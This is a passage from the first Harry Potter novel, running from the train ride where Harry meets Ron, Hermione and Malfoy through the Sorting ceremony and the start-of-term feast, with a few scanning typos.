had taken out a lumpy package and unwrapped it. There were four +sandwiches inside. He pulled one of them apart and said, "She always +forgets I don't like corned beef." + +"Swap you for one of these," said Harry, holding up a pasty. "Go on --" + +"You don't want this, it's all dry," said Ron. "She hasn't got much +time," he added quickly, "you know, with five of us." + +"Go on, have a pasty," said Harry, who had never had anything to share +before or, indeed, anyone to share it with. It was a nice feeling, +sitting there with Ron, eating their way through all Harry's pasties, +cakes, and candies (the sandwiches lay forgotten). + +"What are these?" Harry asked Ron, holding up a pack of Chocolate Frogs. +"They're not really frogs, are they?" He was starting to feel that +nothing would surprise him. + +"No," said Ron. "But see what the card is. I'm missing Agrippa." + +"What?" + +"Oh, of course, you wouldn't know -- Chocolate Frogs have cards, inside +them, you know, to collect -- famous witches and wizards. I've got about +five hundred, but I haven't got Agrippa or Ptolemy." + +Harry unwrapped his Chocolate Frog and picked up the card. It showed a +man's face. He wore half- moon glasses, had a long, crooked nose, and +flowing silver hair, beard, and mustache. Underneath the picture was the +name Albus Dumbledore. + +"So this is Dumbledore!" said Harry. + +"Don't tell me you'd never heard of Dumbledore!" said Ron. "Can I have a +frog? I might get Agrippa -- thanks + +Harry turned over his card and read: + +ALBUS DUMBLEDORE + +CURRENTLY HEADMASTER OF HOGWARTS + +Considered by many the greatest wizard of modern times, Dumbledore is +particularly famous for his defeat of the dark wizard Grindelwald in +1945, for the discovery of the twelve uses of dragon's blood, and his +work on alchemy with his partner, Nicolas Flamel. Professor Dumbledore +enjoys chamber music and tenpin bowling. + +Harry turned the card back over and saw, to his astonishment, that +Dumbledore's face had disappeared. + +"He's gone!" + +"Well, you can't expect him to hang around all day," said Ron. "He'll be +back. No, I've got Morgana again and I've got about six of her... do you +want it? You can start collecting." + +Ron's eyes strayed to the pile of Chocolate Frogs waiting to be +unwrapped. + +"Help yourself," said Harry. "But in, you know, the Muggle world, people +just stay put in photos." + +"Do they? What, they don't move at all?" Ron sounded amazed. "weird!" + +Harry stared as Dumbledore sidled back into the picture on his card and +gave him a small smile. Ron was more interested in eating the frogs than +looking at the Famous Witches and Wizards cards, but Harry couldn't keep +his eyes off them. Soon he had not only Dumbledore and Morgana, but +Hengist of Woodcroft, Alberic Grunnion, Circe, Paracelsus, and Merlin. +He finally tore his eyes away from the druidess Cliodna, who was +scratching her nose, to open a bag of Bertie Bott's Every Flavor Beans. + +"You want to be careful with those," Ron warned Harry. "When they say +every flavor, they mean every flavor -- you know, you get all the +ordinary ones like chocolate and peppermint and mar- malade, but then +you can get spinach and liver and tripe. George reckons he had a booger- +flavored one once." + +Ron picked up a green bean, looked at it carefully, and bit into a +corner. + +"Bleaaargh -- see? Sprouts." + +They had a good time eating the Every Flavor Beans. Harry got toast, +coconut, baked bean, strawberry, curry, grass, coffee, sardine, and was +even brave enough to nibble the end off a funny gray one Ron wouldn't +touch, which turned out to be pepper. + +The countryside now flying past the window was becoming wilder. The neat +fields had gone. Now there were woods, twisting rivers, and dark green +hills. + +There was a knock on the door of their compartment and the round-faced +boy Harry had passed on platform nine and threequarters came in. He +looked tearful. + +"Sorry," he said, "but have you seen a toad at all?" + +When they shook their heads, he wailed, "I've lost him! He keeps getting +away from me!" + +"He'll turn up," said Harry. + +"Yes," said the boy miserably. "Well, if you see him..." + +He left. + +"Don't know why he's so bothered," said Ron. "If I'd brought a toad I'd +lose it as quick as I could. Mind you, I brought Scabbers, so I can't +talk." + +The rat was still snoozing on Ron's lap. + +"He might have died and you wouldn't know the difference," said Ron in +disgust. "I tried to turn him yellow yesterday to make him more +interesting, but the spell didn't work. I'll show you, look..." + +He rummaged around in his trunk and pulled out a very battered-looking +wand. It was chipped in places and something white was glinting at the +end. + +"Unicorn hair's nearly poking out. Anyway + +He had just raised his 'wand when the compartment door slid open again. +The toadless boy was back, but this time he had a girl with him. She was +already wearing her new Hogwarts robes. + +"Has anyone seen a toad? Neville's lost one," she said. She had a bossy +sort of voice, lots of bushy brown hair, and rather large front teeth. + +"We've already told him we haven't seen it," said Ron, but the girl +wasn't listening, she was looking at the wand in his hand. + +"Oh, are you doing magic? Let's see it, then." + +She sat down. Ron looked taken aback. + +"Er -- all right." + +He cleared his throat. + +"Sunshine, daisies, butter mellow, Turn this stupid, fat rat yellow." + +He waved his wand, but nothing happened. Scabbers stayed gray and fast +asleep. + +"Are you sure that's a real spell?" said the girl. "Well, it's not very +good, is it? I've tried a few simple spells just for practice and it's +all worked for me. Nobody in my family's magic at all, it was ever such +a surprise when I got my letter, but I was ever so pleased, of course, I +mean, it's the very best school of witchcraft there is, I've heard -- +I've learned all our course books by heart, of course, I just hope it +will be enough -- I'm Hermione Granger, by the way, who are you. + +She said all this very fast. + +Harry looked at Ron, and was relieved to see by his stunned face that he +hadn't learned all the course books by heart either. + +"I'm Ron Weasley," Ron muttered. + +"Harry Potter," said Harry. + +"Are you really?" said Hermione. "I know all about you, of course -- I +got a few extra books. for background reading, and you're in Modern +Magical History and The Rise and Fall of the Dark Arts and Great +Wizarding Events of the Twentieth Century. + +"Am I?" said Harry, feeling dazed. + +"Goodness, didn't you know, I'd have found out everything I could if it +was me," said Hermione. "Do either of you know what house you'll be in? +I've been asking around, and I hope I'm in Gryffindor, it sounds by far +the best; I hear Dumbledore himself was in it, but I suppose Ravenclaw +wouldn't be too bad.... Anyway, we'd better go and look for Neville's +toad. You two had better change, you know, I expect we'll be there +soon." + +And she left, taking the toadless boy with her. + +"Whatever house I'm in, I hope she's not in it," said Ron. He threw his +wand back into his trunk. "Stupid spell -- George gave it to me, bet he +knew it was a dud." + +"What house are your brothers in?" asked Harry. + +"Gryffindor," said Ron. Gloom seemed to be settling on him again. "Mom +and Dad were in it, too. I don't know what they'll say if I'm not. I +don't suppose Ravenclaw would be too bad, but imagine if they put me in +Slytherin." + +"That's the house Vol-, I mean, You-Know-Who was in?" + +"Yeah," said Ron. He flopped back into his seat, looking depressed. + +"You know, I think the ends of Scabbers' whiskers are a bit lighter," +said Harry, trying to take Ron's mind off houses. "So what do your +oldest brothers do now that they've left, anyway?" + +Harry was wondering what a wizard did once he'd finished school. + +"Charlie's in Romania studying dragons, and Bill's in Africa doing +something for Gringotts," said Ron. "Did you hear about + +Gringotts? It's been all over the Daily Prophet, but I don't suppose you +get that with the Muggles -- someone tried to rob a high security +vault." + +Harry stared. + +"Really? What happened to them?" + +"Nothing, that's why it's such big news. They haven't been caught. My +dad says it must've been a powerful Dark wizard to get round Gringotts, +but they don't think they took anything, that's what's odd. 'Course, +everyone gets scared when something like this happens in case +You-Know-Who's behind it." + +Harry turned this news over in his mind. He was starting to get a +prickle of fear every time You- Know-Who was mentioned. He supposed this +was all part of entering the magical world, but it had been a lot more +comfortable saying "Voldemort" without worrying. + +"What's your Quidditch team?" Ron asked. + +"Er -- I don't know any," Harry confessed. + +"What!" Ron looked dumbfounded. "Oh, you wait, it's the best game in the +world --" And he was off, explaining all about the four balls and the +positions of the seven players, describing famous games he'd been to +with his brothers and the broomstick he'd like to get if he had the +money. He was just taking Harry through the finer points of the game +when the compartment door slid open yet again, but it wasn't Neville the +toadless boy, or Hermione Granger this time. + +Three boys entered, and Harry recognized the middle one at once: it was +the pale boy from Madam Malkin's robe shop. He was looking at Harry with +a lot more interest than he'd shown back in Diagon Alley. + +"Is it true?" he said. "They're saying all down the train that Harry +Potter's in this compartment. So it's you, is it?" + +"Yes," said Harry. He was looking at the other boys. Both of them were +thickset and looked extremely mean. Standing on either side of the pale +boy, they looked like bodyguards. + +"Oh, this is Crabbe and this is Goyle," said the pale boy carelessly, +noticing where Harry was looking. "And my name's Malfoy, Draco Malfoy." + +Ron gave a slight cough, which might have been hiding a snigget. Draco +Malfoy looked at him. + +"Think my name's funny, do you? No need to ask who you are. My father +told me all the Weasleys have red hair, freckles, and more children than +they can afford." + +He turned back to Harry. "You'll soon find out some wizarding families +are much better than others, Potter. You don't want to go making friends +with the wrong sort. I can help you there." + +He held out his hand to shake Harry's, but Harry didn't take it. + +"I think I can tell who the wrong sort are for myself, thanks," he said +coolly. + +Draco Malfoy didn't go red, but a pink tinge appeared in his pale +cheeks. + +"I'd be careful if I were you, Potter," he said slowly. "Unless you're a +bit politer you'll go the same way as your parents. They didn't know +what was good for them, either. You hang around with riffraff like the +Weasleys and that Hagrid, and it'll rub off on you." + +Both Harry and Ron stood up. + +"Say that again," Ron said, his face as red as his hair. + +"Oh, you're going to fight us, are you?" Malfoy sneered. + +"Unless you get out now," said Harry, more bravely than he felt, because +Crabbe and Goyle were a lot bigger than him or Ron. + +"But we don't feet like leaving, do we, boys? We've eaten all our food +and you still seem to have some." + +Goyle reached toward the Chocolate Frogs next to Ron - Ron leapt +forward, but before he'd so much as touched Goyle, Goyle let out a +horrible yell. + +Scabbers the rat was hanging off his finger, sharp little teeth sunk +deep into Goyle's knuckle - Crabbe and Malfoy backed away as Goyle swung +Scabbers round and round, howling, and when Scabbets finally flew off +and hit the window, all three of them disappeared at once. Perhaps they +thought there were more rats lurking among the sweets, or perhaps they'd +heard footsteps, because a second later, Hermione Granger had come in. + +"What has been going on?" she said, looking at the sweets all over the +floor and Ron picking up Scabbers by his tail. + +I think he's been knocked out," Ron said to Harry. He looked closer at +Scabbers. "No -- I don't believe it -- he's gone back to sleep-" + +And so he had. + +"You've met Malfoy before?" + +Harry explained about their meeting in Diagon Alley. + +"I've heard of his family," said Ron darkly. "They were some of the +first to come back to our side after You-Know-Who disappeared. Said +they'd been bewitched. My dad doesn't believe it. He says Malfoy's +father didn't need an excuse to go over to the Dark Side." He turned to +Hermione. "Can we help you with something?" + +"You'd better hurry up and put your robes on, I've just been up to the +front to ask the conductor, and he says we're nearly there. You haven't +been fighting, have you? You'll be in trouble before we even get there!" + +"Scabbers has been fighting, not us," said Ron, scowling at her. "Would +you mind leaving while we change?" + +"All right -- I only came in here because people outside are behaving +very childishly, racing up and down the corridors," said Hermione in a +sniffy voice. "And you've got dirt on your nose, by the way, did you +know?" + +Ron glared at her as she left. Harry peered out of the window. It was +getting dark. He could see mountains and forests under a deep purple +sky. The train did seem to be slowing down. + +He and Ron took off their jackets and pulled on their long black robes. +Ron's were a bit short for him, you could see his sneakers underneath +them. + +A voice echoed through the train: "We will be reaching Hogwarts in five +minutes' time. Please leave your luggage on the train, it will be taken +to the school separately." + +Harry's stomach lurched with nerves and Ron, he saw, looked pale under +his freckles. They crammed their pockets with the last of the sweets and +joined the crowd thronging the corridor. + +The train slowed right down and finally stopped. People pushed their way +toward the door and out on to a tiny, dark platform. Harry shivered in +the cold night air. Then a lamp came bobbing over the heads of the +students, and Harry heard a familiar voice: "Firs' years! Firs' years +over here! All right there, Harry?" + +Hagrid's big hairy face beamed over the sea of heads. + +"C'mon, follow me -- any more firs' years? Mind yer step, now! Firs' +years follow me!" + +Slipping and stumbling, they followed Hagrid down what seemed to be a +steep, narrow path. It was so dark on either side of them that Harry +thought there must be thick trees there. Nobody spoke much. Neville, the +boy who kept losing his toad, sniffed once or twice. + +"Ye' all get yer firs' sight o' Hogwarts in a sec," Hagrid called over +his shoulder, "jus' round this bend here." + +There was a loud "Oooooh!" + +The narrow path had opened suddenly onto the edge of a great black take. +Perched atop a high mountain on the other side, its windows sparkling in +the starry sky, was a vast castle with many turrets and towers. + +"No more'n four to a boat!" Hagrid called, pointing to a fleet of little +boats sitting in the water by the shore. Harry and Ron were followed +into their boat by Neville and Hermione. "Everyone in?" shouted Hagrid, +who had a boat to himself. "Right then -- FORWARD!" + +And the fleet of little boats moved off all at once, gliding across the +lake, which was as smooth as glass. Everyone was silent, staring up at +the great castle overhead. It towered over them as they sailed nearer +and nearer to the cliff on which it stood. + +"Heads down!" yelled Hagrid as the first boats reached the cliff; they +all bent their heads and the little boats carried them through a curtain +of ivy that hid a wide opening in the cliff face. They were carried +along a dark tunnel, which seemed to be taking them right underneath the +castle, until they reached a kind of underground harbor, where they +clambered out onto rocks and pebbles. + +"Oy, you there! Is this your toad?" said Hagrid, who was checking the +boats as people climbed out of them. + +"Trevor!" cried Neville blissfully, holding out his hands. Then they +clambered up a passageway in the rock after Hagrid's lamp, coming out at +last onto smooth, damp grass right in the shadow of the castle. + +They walked up a flight of stone steps and crowded around the huge, Oak +front door. + +"Everyone here? You there, still got yer toad?" + +Hagrid raised a gigantic fist and knocked three times on the castle +door. + + +CHAPTER SEVEN + +THE SORTING HAT + +The door swung open at once. A tall, black-haired witch in emerald-green +robes stood there. She had a very stern face and Harry's first thought +was that this was not someone to cross. + +"The firs' years, Professor McGonagall," said Hagrid. + +"Thank you, Hagrid. I will take them from here." + +She pulled the door wide. The entrance hall was so big you could have +fit the whole of the Dursleys' house in it. The stone walls were lit +with flaming torches like the ones at Gringotts, the ceiling was too +high to make out, and a magnificent marble staircase facing them led to +the upper floors. + +They followed Professor McGonagall across the flagged stone floor. Harry +could hear the drone of hundreds of voices from a doorway to the right +-the rest of the school must already be here -- but Professor McGonagall +showed the first years into a small, empty chamber off the hall. They +crowded in, standing rather closer together than they would usually have +done, peering about nervously. + +"Welcome to Hogwarts," said Professor McGonagall. "The start-of-term +banquet will begin shortly, but before you take your seats in the Great +Hall, you will be sorted into your houses. The Sorting is a very +important ceremony because, while you are here, your house will be +something like your family within Hogwarts. You will have classes with +the rest of your house, sleep in your house dormitory, and spend free +time in your house common room. + +"The four houses are called Gryffindor, Hufflepuff, Ravenclaw, and +Slytherin. Each house has its own noble history and each has produced +outstanding witches and wizards. While you are at Hogwarts, your +triumphs will earn your house points, while any rulebreaking will lose +house points. At the end of the year, the house with the most points is +awarded the house cup, a great honor. I hope each of you will be a +credit to whichever house becomes yours. + +"The Sorting Ceremony will take place in a few minutes in front of the +rest of the school. I suggest you all smarten yourselves up as much as +you can while you are waiting." + +Her eyes lingered for a moment on Neville's cloak, which was fastened +under his left ear, and on Ron's smudged nose. Harry nervously tried to +flatten his hair. + +"I shall return when we are ready for you," said Professor McGonagall. +"Please wait quietly." + +She left the chamber. Harry swallowed. + +"How exactly do they sort us into houses?" he asked Ron. + +"Some sort of test, I think. Fred said it hurts a lot, but I think he +was joking." + +Harry's heart gave a horrible jolt. A test? In front of the whole +school? But he didn't know any magic yet -- what on earth would he have +to do? He hadn't expected something like this the moment they arrived. +He looked around anxiously and saw that everyone else looked terrified, +too. No one was talking much except Hermione Granger, who was whispering +very fast about all the spells she'd learned and wondering which one +she'd need. Harry tried hard not to listen to her. He'd never been more +nervous, never, not even when he'd had to take a school report home to +the Dursleys saying that he'd somehow turned his teacher's wig blue. He +kept his eyes fixed on the door. Any second now, Professor McGonagall +would come back and lead him to his doom. + +Then something happened that made him jump about a foot in the air -- +several people behind him screamed. + +"What the --?" + +He gasped. So did the people around him. About twenty ghosts had just +streamed through the back wall. Pearly-white and slightly transparent, +they glided across the room talking to one another and hardly glancing +at the first years. They seemed to be arguing. What looked like a fat +little monk was saying: "Forgive and forget, I say, we ought to give him +a second chance --" + +"My dear Friar, haven't we given Peeves all the chances he deserves? He +gives us all a bad name and you know, he's not really even a ghost -- I +say, what are you all doing here?" + +A ghost wearing a ruff and tights had suddenly noticed the first years. + +Nobody answered. + +"New students!" said the Fat Friar, smiling around at them. "About to be +Sorted, I suppose?" + +A few people nodded mutely. + +"Hope to see you in Hufflepuff!" said the Friar. "My old house, you +know." + +"Move along now," said a sharp voice. "The Sorting Ceremony's about to +start." + +Professor McGonagall had returned. One by one, the ghosts floated away +through the opposite wall. + +"Now, form a line," Professor McGonagall told the first years, "and +follow me." + +Feeling oddly as though his legs had turned to lead, Harry got into line +behind a boy with sandy hair, with Ron behind him, and they walked out +of the chamber, back across the hall, and through a pair of double doors +into the Great Hall. + +Harry had never even imagined such a strange and splendid place. It was +lit by thousands and thousands of candles that were floating in midair +over four long tables, where the rest of the students were sitting. +These tables were laid with glittering golden plates and goblets. At the +top of the hall was another long table where the teachers were sitting. +Professor McGonagall led the first years up here, so that they came to a +halt in a line facing the other students, with the teachers behind them. +The hundreds of faces staring at them looked like pale lanterns in the +flickering candlelight. Dotted here and there among the students, the +ghosts shone misty silver. Mainly to avoid all the staring eyes, Harry +looked upward and saw a velvety black ceiling dotted with stars. He +heard + +Hermione whisper, "Its bewitched to look like the sky outside. I read +about it in Hogwarts, A History." + +It was hard to believe there was a ceiling there at all, and that the +Great Hall didn't simply open on to the heavens. + +Harry quickly looked down again as Professor McGonagall silently placed +a four-legged stool in front of the first years. On top of the stool she +put a pointed wizard's hat. This hat was patched and frayed and +extremely dirty. Aunt Petunia wouldn't have let it in the house. + +Maybe they had to try and get a rabbit out of it, Harry thought wildly, +that seemed the sort of thing -- noticing that everyone in the hall was +now staring at the hat, he stared at it, too. For a few seconds, there +was complete silence. Then the hat twitched. A rip near the brim opened +wide like a mouth -- and the hat began to sing: + +"Oh, you may not think I'm pretty, + +But don't judge on what you see, + +I'll eat myself if you can find + +A smarter hat than me. + +You can keep your bowlers black, + +Your top hats sleek and tall, + +For I'm the Hogwarts Sorting Hat + +And I can cap them all. + +There's nothing hidden in your head + +The Sorting Hat can't see, + +So try me on and I will tell you + +Where you ought to be. + +You might belong in Gryffindor, + +Where dwell the brave at heart, + +Their daring, nerve, and chivalry Set Gryffindors apart; + +You might belong in Hufflepuff, + +Where they are just and loyal, + +Those patient Hufflepuffis are true And unafraid of toil; + +Or yet in wise old Ravenclaw, + +if you've a ready mind, + +Where those of wit and learning, + +Will always find their kind; + +Or perhaps in Slytherin + +You'll make your real friends, + +Those cunning folk use any means + +To achieve their ends. + +So put me on! Don't be afraid! + +And don't get in a flap! + +You're in safe hands (though I have none) + +For I'm a Thinking Cap!" + +The whole hall burst into applause as the hat finished its song. It +bowed to each of the four tables and then became quite still again. + +"So we've just got to try on the hat!" Ron whispered to Harry. "I'll +kill Fred, he was going on about wrestling a troll." + +Harry. smiled weakly. Yes, trying on the hat was a lot better than +having to do a spell, but he did wish they could have tried it on +without everyone watching. The hat seemed to be asking rather alot; +Harry didn't feel brave or quick-witted or any of it at the moment. If +only the hat had mentioned a house for people who felt a bit queasy, +that would have been the one for him. + +Professor McGonagall now stepped forward holding a long roll of +parchment. + +"When I call your name, you will put on the hat and sit on the stool to +be sorted," she said. "Abbott, Hannah!" + +A pink-faced girl with blonde pigtails stumbled out of line, put on the +hat, which fell right down over her eyes, and sat down. A moments pause +-- + +"HUFFLEPUFF!" shouted the hat. + +The table on the right cheered and clapped as Hannah went to sit down at +the Hufflepuff table. Harry saw the ghost of the Fat Friar waving +merrily at her. + +"Bones, Susan!" + +"HUFFLEPUFF!" shouted the hat again, and Susan scuttled off to sit next +to Hannah. + +"Boot, Terry!" + +"RAVENCLAW!" + +The table second from the left clapped this time; several Ravenclaws +stood up to shake hands with Terry as he joined them. + +" Brocklehurst, Mandy" went to Ravenclaw too, but "Brown, Lavender" +became the first new Gryffindor, and the table on the far left exploded +with cheers; Harry could see Ron's twin brothers catcalling. + +"Bulstrode, Millicent" then became a Slytherin. Perhaps it was Harry's +imagination, after all he'd heard about Slytherin, but he thought they +looked like an unpleasant lot. He was starting to feel definitely sick +now. He remembered being picked for teams during gym at his old school. +He had always been last to be chosen, not because he was no good, but +because no one wanted Dudley to think they liked him. + +"Finch-Fletchley, Justin!" + +"HUFFLEPUFF!" + +Sometimes, Harry noticed, the hat shouted out the house at once, but at +others it took a little while to decide. "Finnigan, Seamus," the +sandy-haired boy next to Harry in the line, sat on the stool for almost +a whole minute before the hat declared him a Gryffindor. + +"Granger, Hermione!" + +Hermione almost ran to the stool and jammed the hat eagerly on her head. + +"GRYFFINDOR!" shouted the hat. Ron groaned. + +A horrible thought struck Harry, as horrible thoughts always do when +you're very nervous. What if he wasn't chosen at all? What if he just +sat there with the hat over his eyes for ages, until Professor +McGonagall jerked it off his head and said there had obviously been a +mistake and he'd better get back on the train? + +When Neville Longbottom, the boy who kept losing his toad, was called, +he fell over on his way to the stool. The hat took a long time to decide +with Neville. When it finally shouted, "GRYFFINDOR," Neville ran off +still wearing it, and had to jog back amid gales of laughter to give it +to "MacDougal, Morag." + +Malfoy swaggered forward when his name was called and got his wish at +once: the hat had barely touched his head when it screamed, "SLYTHERIN!" + +Malfoy went to join his friends Crabbe and Goyle, looking pleased with +himself. + +There weren't many people left now. "Moon" "Nott" "Parkinson" then a +pair of twin girls, "Patil" and "Patil" then "Perks, Sally-Anne" and +then, at last -- "Potter, Harry!" + +As Harry stepped forward, whispers suddenly broke out like little +hissing fires all over the hall. + +"Potter, did she say?" + +The Harry Potter?" + +The last thing Harry saw before the hat dropped over his eyes was the +hall full of people craning to get a good look at him. Next second he +was looking at the black inside of the hat. He waited. + +Hmm," said a small voice in his ear. "Difficult. Very difficult. Plenty +of courage, I see. Not a bad mind either. There's talent, A my goodness, +yes -- and a nice thirst to prove yourself, now that's interesting.... +So where shall I put you?" + +Harry gripped the edges of the stool and thought, Not Slytherin, not +Slytherin. + +"Not Slytherin, eh?" said the small voice. "Are you sure? You could be +great, you know, it's all here in your head, and Slytherin will help you +on the way to greatness, no doubt about that -- no? Well, if you're sure +-- better be GRYFFINDOR!" + +Harry heard the hat shout the last word to the whole hall. He took off +the hat and walked shakily toward the Gryffindor table. He was so +relieved to have been chosen and not put in Slytherin, he hardly noticed +that he was getting the loudest cheer yet. Percy the Prefect got up and +shook his hand vigorously, while the Weasley twins yelled, "We got +Potter! We got Potter!" Harry sat down opposite the ghost in the ruff +he'd seen earlier. The ghost patted his arm, giving Harry the sudden, +horrible feeling he'd just plunged it into a bucket of ice-cold water. + +He could see the High Table properly now. At the end nearest him sat +Hagrid, who caught his eye and gave him the thumbs up. Harry grinned +back. And there, in the center of the High Table, in a large gold chair, +sat Albus Dumbledore. Harry recognized him at once from the card he'd +gotten out of the Chocolate Frog on the train. Dumbledore's silver hair +was the only thing in the whole hall that shone as brightly as the +ghosts. Harry spotted Professor Quirtell, too, the nervous young man +from the Leaky Cauldron. He was looking very peculiar in a large purple +turban. + +And now there were only three people left to be sorted. "Thomas, Dean," +a Black boy even taller than Ron, joined Harry at the Gryffindor table. +"Turpin, Lisa," became a Ravenclaw and then it was Ron's turn. He was +pale green by now. Harry crossed his fingers under the table and a +second later the hat had shouted, "GRYFFINDOR!" + +Harry clapped loudly with the rest as Ron collapsed into the chair next +to him. + +"Well done, Ron, excellent," said Percy Weasley Pompously across Harry +as "Zabini, Blaise," was made a Slytherin. Professor McGonagall rolled +up her scroll and took the Sorting Hat away. + +Harry looked down at his empty gold plate. He had only just realized how +hungry he was. The pumpkin pasties seemed ages ago. + +Albus Dumbledore had gotten to his feet. He was beaming at the students, +his arms opened wide, as if nothing could have pleased him more than to +see them all there. + +"Welcome," he said. "Welcome to a new year at Hogwarts! Before we begin +our banquet, I would like to say a few words. And here they are: Nitwit! +Blubber! Oddment! Tweak! + +"Thank you!" + +He sat back down. Everybody clapped and cheered. Harry didn't know +whether to laugh or not. + +"Is he -- a bit mad?" he asked Percy uncertainly. + +"Mad?" said Percy airily. "He's a genius! Best wizard in the world! But +he is a bit mad, yes. Potatoes, Harry?" + +Harry's mouth fell open. The dishes in front of him were now piled with +food. He had never seen so many things he liked to eat on one table: +roast beef, roast chicken, pork chops and lamb chops, sausages, bacon +and steak, boiled potatoes, roast potatoes, fries, Yorkshire pudding, +peas, carrots, gravy, ketchup, and, for some strange reason, peppermint +humbugs. + +The Dursleys had never exactly starved Harry, but he'd never been +allowed to eat as much as he liked. Dudley had always taken anything +that Harry really wanted, even if It made him sick. Harry piled his +plate with a bit of everything except the peppermints and began to eat. +It was all delicious. + +"That does look good," said the ghost in the ruff sadly, watching Harry +cut up his steak, + +"Can't you --?" + +I haven't eaten for nearly four hundred years," said the ghost. "I don't +need to, of course, but one does miss it. I don't think I've in troduced +myself? Sir Nicholas de Mimsy-Porpington at your service. Resident ghost +of Gryffindor Tower." + +"I know who you are!" said Ron suddenly. "My brothers told me about you +-- you're Nearly Headless Nick!" + +"I would prefer you to call me Sir Nicholas de Mimsy --" the ghost began +stiffly, but sandy-haired Seamus Finnigan interrupted. + +"Nearly Headless? How can you be nearly headless?" + +Sir Nicholas looked extremely miffed, as if their little chat wasn't +going at all the way he wanted. + +"Like this," he said irritably. He seized his left ear and pulled. His +whole head swung off his neck and fell onto his shoulder as if it was on +a hinge. Someone had obviously tried to behead him, but not done it +properly. Looking pleased at the stunned looks on their faces, Nearly +Headless Nick flipped his head back onto his neck, coughed, and said, +"So -- new Gryffindors! I hope you're going to help us win the house +championship this year? Gryffindors have never gone so long without +winning. Slytherins have got the cup six years in a row! The Bloody +Baron's becoming almost unbearable -- he's the Slytherin ghost." + +Harry looked over at the Slytherin table and saw a horrible ghost +sitting there, with blank staring eyes, a gaunt face, and robes stained +with silver blood. He was right next to Malfoy who, Harry was pleased to +see, didn't look too pleased with the seating arrangements. + +"How did he get covered in blood?" asked Seamus with great interest. + +"I've never asked," said Nearly Headless Nick delicately. + +When everyone had eaten as much as they could, the remains of the food +faded from the plates, leaving them sparkling clean as before. A moment +later the desserts appeared. Blocks of ice cream in every flavor you +could think of, apple pies, treacle tarts, chocolate eclairs and jam +doughnuts, trifle, strawberries, Jell-O, rice pudding -- " + +As Harry helped himself to a treacle tart, the talk turned to their +families. + +"I'm half-and-half," said Seamus. "Me dad's a Muggle. Mom didn't tell +him she was a witch 'til after they were married. Bit of a nasty shock +for him." + +The others laughed. + +"What about you, Neville?" said Ron. + +"Well, my gran brought me up and she's a witch," said Neville, "but the +family thought I was all- Muggle for ages. My Great Uncle Algie kept +trying to catch me off my guard and force some magic out of me -- he +pushed me off the end of Blackpool pier once, I nearly drowned -- but +nothing happened until I was eight. Great Uncle Algie came round for +dinner, and he was hanging me out of an upstairs window by the ankles +when my Great Auntie Enid offered him a meringue and he accidentally let +go. But I bounced -- all the way down the garden and into the road. They +were all really pleased, Gran was crying, she was so happy. And you +should have seen their faces when I got in here -- they thought I might +not be magic enough to come, you see. Great Uncle Algie was so pleased +he bought me my toad." + +On Harry's other side, Percy Weasley and Hermione were talking about +lessons ("I do hope they start right away, there's so much to learn, I'm +particularly interested in Transfiguration, you know, turning something +into something else, of course, it's supposed to be very difficult-"; +"You'll be starting small, just matches into needles and that sort of +thing -- "). + +Harry, who was starting to feel warm and sleepy, looked up at + +the High Table again. Hagrid was drinking deeply from his goblet. +Professor McGonagall was talking to Professor Dumbledore. Professor +Quirrell, in his absurd turban, was talking to a teacher with greasy +black hair, a hooked nose, and sallow skin. + +It happened very suddenly. The hook-nosed teacher looked past Quirrell's +turban straight into Harry's eyes -- and a sharp, hot pain shot across +the scar on Harry's forehead. + +"Ouch!" Harry clapped a hand to his head. + +"What is it?" asked Percy. + +"N-nothing." + +The pain had gone as quickly as it had come. Harder to shake off was the +feeling Harry had gotten from the teacher's look -- a feeling that he +didn't like Harry at all. + +"Who's that teacher talking to Professor Quirrell?" he asked Percy. + +"Oh, you know Quirrell already, do you? No wonder he's looking so +nervous, that's Professor Snape. He teaches Potions, but he doesn't want +to -- everyone knows he's after Quirrell's job. Knows an awful lot about +the Dark Arts, Snape." + +Harry watched Snape for a while, but Snape didn't look at him again. + +At last, the desserts too disappeared, and Professor Dumbledore got to +his feet again. The hall fell silent. + +"Ahern -- just a few more words now that we are all fed and watered. I +have a few start-of-term notices to give you. + +"First years should note that the forest on the grounds is forbidden to +all pupils. And a few of our older students would do well to remember +that as well." + +Dumbledore's twinkling eyes flashed in the direction of the Weasley +twins. + +"I have also been asked by Mr. Filch, the caretaker, to remind you all +that no magic should be used between classes in the corridors. + +"Quidditch trials will be held in the second week of the term. Anyone +interested in playing for their house teams should contact Madam Hooch. + +"And finally, I must tell you that this year, the third-floor corridor +on the right-hand side is out of bounds to everyone who does not wish to +die a very painful death." + +Harry laughed, but he was one of the few who did. + +"He's not serious?" he muttered to Percy. + +"Must be," said Percy, frowning at Dumbledore. "It's odd, because he +usually gives us a reason why we're not allowed to go somewhere -- the +forest's full of dangerous beasts, everyone knows that. I do think he +might have told us prefects, at least." + +"And now, before we go to bed, let us sing the school song!" cried +Dumbledore. Harry noticed that the other teachers' smiles had become +rather fixed. + +Dumbledore gave his wand a little flick, as if he was trying to get a +fly off the end, and a long golden ribbon flew out of it, which rose +high above the tables and twisted itself, snakelike, into words. + +"Everyone pick their favorite tune," said Dumbledore, "and off we go!" +And the school bellowed: + +"Hogwarts, Hogwarts, Hoggy Warty Hogwarts, + +Teach us something please, + +Whether we be old and bald + +Or young with scabby knees, + +Our heads could do with filling + +With some interesting stuff, + +For now they're bare and full of air, + +Dead flies and bits of fluff, + +So teach us things worth knowing, + +Bring back what we've forgot, + +just do your best, we'll do the rest, + +And learn until our brains all rot. + +Everybody finished the song at different times. At last, only the +Weasley twins were left singing along to a very slow funeral march. +Dumbledore conducted their last few lines with his wand and when they +had finished, he was one of those who clapped loudest. + +"Ah, music," he said, wiping his eyes. "A magic beyond all we do here! +And now, bedtime. Off you trot!" + +The Gryffindor first years followed Percy through the chattering crowds, +out of the Great Hall, and up the marble staircase. Harry's legs were +like lead again, but only because he was so tired and full of food. He +was too sleepy even to be surprised that the people in the portraits +along the corridors whispered and pointed as they passed, or that twice +Percy led them through doorways hidden behind sliding panels and hanging +tapestries. They climbed more staircases, yawning and dragging their +feet, and Harry was just wondering how much farther they had to go when +they came to a sudden halt. + +A bundle of walking sticks was floating in midair ahead of them, and as +Percy took a step toward them they started throwing themselves at him. + +"Peeves," Percy whispered to the first years. "A poltergeist." He raised +his voice, "Peeves -- show yourself" + +A loud, rude sound, like the air being let out of a balloon, answered. + +"Do you want me to go to the Bloody Baron?" + +There was a pop, and a little man with wicked, dark eyes and a wide +mouth appeared, floating cross- legged in the air, clutching the walking +sticks. + +"Oooooooh!" he said, with an evil cackle. "Ickle Firsties! What fun!" + +He swooped suddenly at them. They all ducked. + +"Go away, Peeves, or the Baron'll hear about this, I mean it!" barked 